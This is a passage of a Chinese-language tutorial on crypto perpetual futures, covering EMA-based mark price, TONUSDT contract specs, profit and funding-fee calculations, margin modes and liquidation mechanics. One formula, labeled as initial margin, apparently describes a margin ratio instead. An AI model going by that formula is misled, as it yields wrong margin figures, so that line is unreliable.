style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span></span></span></span>越小，价格更加平滑，但反应较慢</li><li>初始值：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord">EMA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></li></ul><p><strong>3. EMA相对于其他移动平均的优势</strong>：</p><ul><li><strong>简单移动平均（SMA）</strong>：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">SMA</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span><ul><li>优点：计算简单，平滑效果好</li><li>缺点：对所有历史数据等权重，反应迟钝</li></ul></li><li><strong>指数移动平均（EMA）</strong>：对近期数据给予更高权重<ul><li>优点：响应速度快，更好地跟踪市场变化</li><li>缺点：对噪声相对敏感</li></ul></li><li><strong>时间加权平均（TWA）</strong>：根据时间间隔进行加权<ul><li>优点：考虑时间因素，适合不规则采样</li><li>缺点：计算复杂度较高</li></ul></li></ul><p><strong>4. 实际实现参数</strong>：</p><ul><li><strong>窗口期选择</strong>：EMA的有效窗口期约为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.0037em;">α</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>个采样点</li><li><strong>异常数据处理</strong>：设置基差上下限，过滤极端值（如±5%）</li><li><strong>实时更新频率</strong>：每秒更新1-5次，确保标记价格的准确性</li><li><strong>初始化方式</strong>：系统启动时使用前N个基差值的SMA作为EMA初始值</li></ul><p><strong>5. 计算示例</strong>：<br>假设<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.0037em;">α</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0.2</span></span></span></span>，某时刻数据如下：</p><ul><li>合约买一价：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">100</span></span></span></span> USDT</li><li>合约卖一价：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">200</span></span></span></span> USDT</li><li>指数价格：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span></span></span></span> USDT</li><li>上一时刻EMA：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8917em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord text"><span class="mord">EMA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">t</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">180</span></span></span></span> USDT</li></ul><p>计算过程：</p><ol><li>基差：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord cjk_fallback">基差</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.2422em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8972em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">2</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4461em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">50</span><span class="mpunct mtight">,</span><span class="mord mtight">100</span><span class="mbin mtight">+</span><span class="mord mtight">50</span><span class="mpunct mtight">,</span><span class="mord mtight">200</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">150</span></span></span></span> USDT</li><li>新EMA：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord text"><span class="mord">EMA</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.2</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">150</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.8</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">180</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">174</span></span></span></span> USDT</li><li>标记价格：<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">174</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">50</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">174</span></span></span></span> USDT</li></ol><h5 id="3-2-2-3-为什么不直接用指数价格，还要加基差移动平均值？">3.2.2.3 为什么不直接用指数价格，还要加基差移动平均值？</h5><p><strong>直接使用指数价格的问题</strong>：</p><ul><li><p><strong>脱离合约市场实际情况</strong>：</p><ul><li>指数价格反映的是现货市场价格</li><li>合约市场有自己的供需关系，价格可能系统性偏离现货</li><li>例如：现货BTC价格50,000，但合约市场看涨情绪强烈，持续交易在50,200附近</li><li>如果强制平仓按50,000指数价格执行，与实际合约成交价差距过大</li></ul></li><li><p><strong>忽略市场流动性差异</strong>：</p><ul><li>现货市场和合约市场的流动性、参与者结构不同</li><li>合约市场可能因为杠杆、资金费率等因素，价格持续性偏离现货</li><li>直接用指数价格不能反映合约市场的真实交易成本</li></ul></li></ul><p><strong>加入基差移动平均值的作用</strong>：</p><ul><li><p><strong>反映合约市场真实价格水平</strong>：</p><ul><li>基差 = 合约价格 - 指数价格，体现合约相对现货的溢价/折价</li><li>移动平均基差 = 合约市场相对现货的&quot;稳定偏离度&quot;</li><li>标记价格 = 指数价格 + 基差移动平均值 ≈ 合约市场的&quot;真实均衡价格&quot;</li></ul></li><li><p><strong>平衡准确性与稳定性</strong>：</p><ul><li>如果基差移动平均值为+200，说明合约市场系统性高于现货200</li><li>此时标记价格 = 指数价格 + 200，更接近合约真实交易价格</li><li>但通过移动平均，避免了单笔交易造成的剧烈波动</li></ul></li></ul><h5 id="3-2-2-4-实际案例对比">3.2.2.4 实际案例对比</h5><ul><li>指数价格：50,000 USDT（现货平均价）</li><li>合约近期交易：50,180-50,220（持续偏高）</li><li>基差移动平均值：+200 USDT</li><li>标记价格：50,000 + 200 = 50,200 USDT</li><li>这样的标记价格既贴近合约市场实际，又避免了极端波动影响</li></ul><h5 id="3-2-2-5-符号说明">3.2.2.5 符号说明</h5><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>：现货指数价格（同前面计算的指数价格）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">bi</span><span class="mord mathnormal mtight">d</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：合约买一价</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">a</span><span class="mord mathnormal mtight">s</span><span class="mord mathnormal mtight" style="margin-right:0.03148em;">k</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：合约卖一价</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord text"><span class="mord">MA</span></span></span></span></span>：移动平均值（Moving Average）</li></ul><h5 id="3-2-2-6-算法设计思想">3.2.2.6 算法设计思想</h5><ol><li><strong>基差概念</strong>：合约中间价与指数价格的差值，反映合约相对现货的溢价或折价</li><li><strong>移动平均平滑</strong>：通过移动平均值机制过滤短时间内的合约价格波动</li><li><strong>防操纵功能</strong>：减少异常波动产生的不必要强制平仓，避免单笔交易操纵价格</li></ol><h5 id="3-2-2-7-与最新价格的区别">3.2.2.7 与最新价格的区别</h5><ul><li><strong>最新价格</strong>：由订单簿中最新成交价格决定，可能受到单笔大额交易影响</li><li><strong>标记价格</strong>：基于指数价格和基差移动平均值，更稳定，用于：<ul><li>计算未实现盈亏</li><li>强制平仓判断</li><li>保证金计算</li></ul></li></ul><h4 id="3-2-3-两者关系总结">3.2.3 两者关系总结</h4><ul><li><strong>数据源相同</strong>：都基于多个现货交易所的价格数据</li><li><strong>算法差异</strong>：标记价格在指数价格基础上增加了合约市场的风险控制逻辑</li><li><strong>用途分工</strong>：<ul><li>现货指数价格(<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6833em;"></span><span class="mord mathnormal" style="margin-right:0.07847em;">I</span></span></span></span>)：资金费率计算的基准</li><li>标记价格：风险管理（盈亏计算、强制平仓）的基准</li></ul></li><li><strong>数值关系</strong>：正常情况下非常接近，极端市场条件下可能有差异</li></ul><h2 id="4-实例计算与保证金制度">4. 实例计算与保证金制度</h2><p>本章节通过具体的合约实例和计算案例，帮助读者理解永续合约的实际操作。同时详细介绍了杠杆与保证金制度的具体规则，为交易者提供风险管理的实用指导。以TONUSDT永续合约为例，展示完整的收益计算过程和资金费用计算方法，并深入分析全仓与逐仓保证金模式的差异，为交易者提供实践中的参考依据。</p><h3 id="4-1-合约规格与收益计算">4.1 合约规格与收益计算</h3><h4 id="4-1-1-合约规格示例">4.1.1 合约规格示例</h4><h5 id="4-1-1-1-TONUSDT永续合约规格">4.1.1.1 TONUSDT永续合约规格</h5><p>以<strong>TONUSDT永续合约</strong>为例：</p><p><strong>表1 TONUSDT永续合约规格详情</strong></p><table><thead><tr><th>合约要素</th><th>详细信息</th><th>说明</th></tr></thead><tbody><tr><td>合约标的</td><td>TON/USDT</td><td>以TON为标的资产，USDT为计价货币</td></tr><tr><td>结算货币</td><td>USDT</td><td>盈亏和保证金均以USDT结算</td></tr><tr><td>合约面值</td><td>1 TON</td><td>每张合约代表1个TON</td></tr><tr><td>价格精度</td><td>0.001</td><td>最小价格变动单位为0.001 USDT</td></tr><tr><td>杠杆倍数</td><td>0.01~20.00</td><td>支持1%至20倍杠杆</td></tr><tr><td>资金费率结算时间</td><td>每天 00:00、08:00、16:00 (UTC+8)</td><td>一天三次结算</td></tr><tr><td>标记价格</td><td>₮2.978</td><td>用于计算未实现盈亏的基准价格</td></tr><tr><td>持仓量</td><td>666.73万 TON</td><td>市场未平仓合约总量</td></tr><tr><td>24小时成交量</td><td>1,028.67万 TON</td><td>近24小时交易量</td></tr><tr><td>风险准备金</td><td>3,101,765 USDT</td><td>用于承担超额损失的保障资金</td></tr></tbody></table><blockquote><p><strong>风险准备金</strong>：由交易所维护的资金池，用于吸收强制平仓产生的损失。当用户爆仓时产生的亏损超过其保证金时，风险准备金会承担这部分损失，保护平台和其他用户免受影响。风险准备金主要来源于交易手续费和强制平仓的盈余。</p><p><strong>什么情况下会亏损超过保证金</strong>：在极端市场波动中，价格可能瞬间跳空或流动性不足，导致强制平仓时的成交价格远低于预期的强平价。例如，用户持有100倍杠杆的多仓，市场突然暴跌，系统来不及在理论强平价位平仓，实际平仓价格可能使亏损超过用户的全部保证金，这时风险准备金就会介入承担超额损失。</p></blockquote><h4 id="4-1-2-永续合约收益与费用计算">4.1.2 永续合约收益与费用计算</h4><h5 id="4-1-2-1-USDT本位永续合约收益计算（官方公式）">4.1.2.1 USDT本位永续合约收益计算（官方公式）</h5><p>根据OKX官方文档，USDT本位永续合约的收益计算公式为：</p><p><strong>基础收益计算</strong>：</p><ul><li><strong>多仓收益</strong> = 面值 × |张数| × 合约乘数 × (标记价格 - 开仓均价)</li><li><strong>空仓收益</strong> = 面值 × |张数| × 合约乘数 × (开仓均价 - 标记价格)</li></ul><h5 id="4-1-2-2-以TONUSDT永续合约为例">4.1.2.2 以TONUSDT永续合约为例</h5><ul><li>合约面值：1 TON</li><li>合约乘数：1</li><li>假设用户开多1000张，开仓均价2.500 USDT，当前标记价格2.800 USDT</li></ul><p><strong>收益计算</strong>：<br>多仓收益 = 1 × 1000 × 1 × (2.800 - 2.500) = 300 USDT</p><h5 id="4-1-2-3-资金费用计算">4.1.2.3 资金费用计算</h5><p><strong>资金费用 = 持仓仓位价值 × 资金费率</strong></p><p>其中：持仓仓位价值 = 合约张数 × 合约面值 × 合约乘数 × 标记价格</p><p><strong>示例</strong>：</p><ul><li>持仓1000张TONUSDT，标记价格2.800 USDT，资金费率0.01%</li><li>持仓仓位价值 = 1000 × 1 × 1 × 2.800 = 2,800 USDT</li><li>资金费用 = 2,800 × 0.01% = 0.28 USDT</li></ul><h5 id="4-1-2-4-实际净收益">4.1.2.4 实际净收益</h5><p><strong>实际净收益 = 基础收益 - 开仓手续费 - 平仓手续费 ± 资金费用</strong></p><blockquote><p><strong>注意</strong>：资金费用可能为正（需支付）或负（可收取），取决于资金费率的方向和持仓方向。</p></blockquote><h3 id="4-2-杠杆与保证金制度">4.2 杠杆与保证金制度</h3><h4 id="4-2-1-杠杆倍数规则">4.2.1 杠杆倍数规则</h4><ul><li><strong>最高杠杆</strong>：支持高达125倍杠杆（具体倍数因交易对而异）</li><li><strong>动态调整</strong>：根据持仓规模实行阶梯式杠杆，持仓越大可用杠杆越低</li><li><strong>风险控制</strong>：大额持仓需要更高的维持保证金要求</li></ul><h4 id="4-2-2-保证金模式">4.2.2 保证金模式</h4><h5 id="4-2-2-1-全仓保证金模式">4.2.2.1 全仓保证金模式</h5><ul><li><strong>共享机制</strong>：所有持仓共享账户余额作为保证金</li><li><strong>风险分散</strong>：有助于避免单个持仓的强制平仓</li><li><strong>资金利用率</strong>：提高资金使用效率</li></ul><p><strong>全仓保证金计算示例</strong>：<br>假设用户账户中有1,000 USDT，使用10倍杠杆开多1 BTC的BTCUSDT永续合约，当前BTC价格为50,000 USDT：</p><ul><li>合约张数 = 1 / 0.01 = 100张</li><li>初始保证金 = 0.01 × 100 × 50,000 / 10 = 5,000 USDT</li><li>由于账户只有1,000 USDT，无法开仓，需要至少5,000 USDT</li></ul><h5 id="4-2-2-2-逐仓保证金模式">4.2.2.2 逐仓保证金模式</h5><ul><li><strong>独立保证金</strong>：每个持仓使用独立的保证金</li><li><strong>风险隔离</strong>：将风险限制在单个持仓范围内</li><li><strong>损失控制</strong>：最大损失限制为该持仓的初始保证金</li></ul><p><strong>逐仓保证金计算示例</strong>：<br>用户使用逐仓模式，投入500 USDT作为保证金，10倍杠杆开多TONUSDT永续合约，当前TON价格为2.5 USDT：</p><ul><li>可开仓位价值 = 500 × 10 = 5,000 USDT</li><li>可开合约张数 = 5,000 / 2.5 = 2,000张TON</li><li>预估强平价 = 开仓价格 × (1 - 1/杠杆 + 维持保证金率)</li><li>如果TON价格从2.5跌至约2.25左右将触发强制平仓</li><li>最大损失限制为投入的500 USDT保证金</li></ul><h4 id="4-2-3-保证金计算公式">4.2.3 保证金计算公式</h4><p><strong>USDT本位合约保证金公式</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">初始保证金 = (保证金余额 + 未实现盈亏) / (合约面值 × |合约张数| × 标记价格 × (维持保证金率 + 交易手续费率))</span><br></pre></td></tr></table></figure><p><strong>阶梯式维持保证金</strong>：</p><ul><li>持仓规模越大，维持保证金要求越高</li><li>降低最大可用杠杆，提升持仓稳定性</li><li>当保证金低于维持保证金加交易费用时，将触发强制平仓</li></ul><h2 id="5-风险管理机制与安全保障">5. 风险管理机制与安全保障</h2><p>本章节是永续合约技术体系的核心部分，将系统性阐述强制平仓机制、自动减仓机制等风险管理工具的原理和操作方式。通过深入分析这些机制如何保护交易者、交易所和整个市场的安全稳定，帮助读者建立对风险管理的全面认知。</p><h3 id="5-1-强制平仓机制详解">5.1 强制平仓机制详解</h3><h4 id="5-1-1-强制平仓机制核心要素">5.1.1 强制平仓机制核心要素</h4><p><strong>图7 强制平仓机制执行流程</strong></p><pre><code class="highlight mermaid">flowchart TD    A[&quot;用户持仓&quot;] --&gt; B[&quot;实时监控&lt;br/&gt;维持保证金率&quot;]    B --&gt; C&#123;&quot;维持保证金率 ≤ 100%?&quot;&#125;    C --&gt;|否| B    C --&gt;|是| D[&quot;触发强制平仓&quot;]    D --&gt; E[&quot;取消挂单&lt;br/&gt;接管仓位&quot;]    E --&gt; F[&quot;市价单执行&quot;]    F --&gt; G[&quot;收取费用&quot;]    subgraph &quot;费用结构&quot;        G1[&quot;强平手续费&lt;br/&gt;（按吃单费率）&quot;]        G2[&quot;强平清算费&lt;br/&gt;（按维持保证金率）&quot;]    end    G --&gt; G1    G --&gt; G2    F --&gt; H&#123;&quot;风险准备金足够?&quot;&#125;    H --&gt;|是| I[&quot;风险准备金承担价差损失&lt;br/&gt;平仓完成&quot;]    H --&gt;|否| J[&quot;触发ADL机制&lt;br/&gt;其他用户承担&quot;]    subgraph &quot;核心公式&quot;        K[&quot;维持保证金率 = 调整后权益 / 维持保证金要求&quot;]        L[&quot;调整后权益 = 保证金余额 + 未实现盈亏&quot;]        M[&quot;维持保证金要求 = 合约张数 × 标记价格 × 梯度维持保证金率&quot;]    end    style A fill:#f9f9f9    style D fill:#ffcdd2    style I fill:#c8e6c9    style J fill:#ffeb3b    style K fill:#e1f5fe    style L fill:#e1f5fe    style M fill:#e1f5fe</code></pre><p>如图7所示，强制平仓机制通过实时监控维持保证金率，当触发条件满足时自动执行平仓流程。该机制分为正常清算和ADL清算两种情况，确保系统风险的有效控制。</p><h5 id="5-1-1-1-核心概念定义">5.1.1.1 核心概念定义</h5><p><strong>强制平仓定义</strong>：<br>当用户账户的维持保证金率降至100%时，系统自动处理风险仓位的过程。</p><p><strong>触发条件</strong>：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">维持保证金率 = 调整后权益 / 维持保证金要求 ≤ 100%</span><br></pre></td></tr></table></figure><blockquote><p><strong>注意</strong>：实际系统中的维持保证金率计算更加复杂，需要考虑挂单占用、期权保证金、逐仓占用等多种因素。上述公式为简化版本，便于理解核心原理。完整公式会包含:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">维持保证金率 = (币种全仓内余额 + 全仓收益 - 挂单卖出数量 - 期权买单占用 - 逐仓开仓占用 - 挂单手续费) / (维持保证金 + 爆仓手续费)</span><br></pre></td></tr></table></figure></blockquote><p><strong>核心概念区别</strong>：</p><p><strong>1. 调整后权益</strong></p><ul><li><strong>定义</strong>：用户实际拥有的支撑持仓的价值</li><li><strong>计算</strong>：保证金余额 + 未实现盈亏</li><li><strong>作用</strong>：判断强制平仓的分子</li></ul><p><strong>2. 维持保证金要求</strong></p><ul><li><strong>定义</strong>：维持仓位不被强制平仓的最低资金要求</li><li><strong>基础计算</strong>：合约面值 × 合约张数 × 标记价格 × 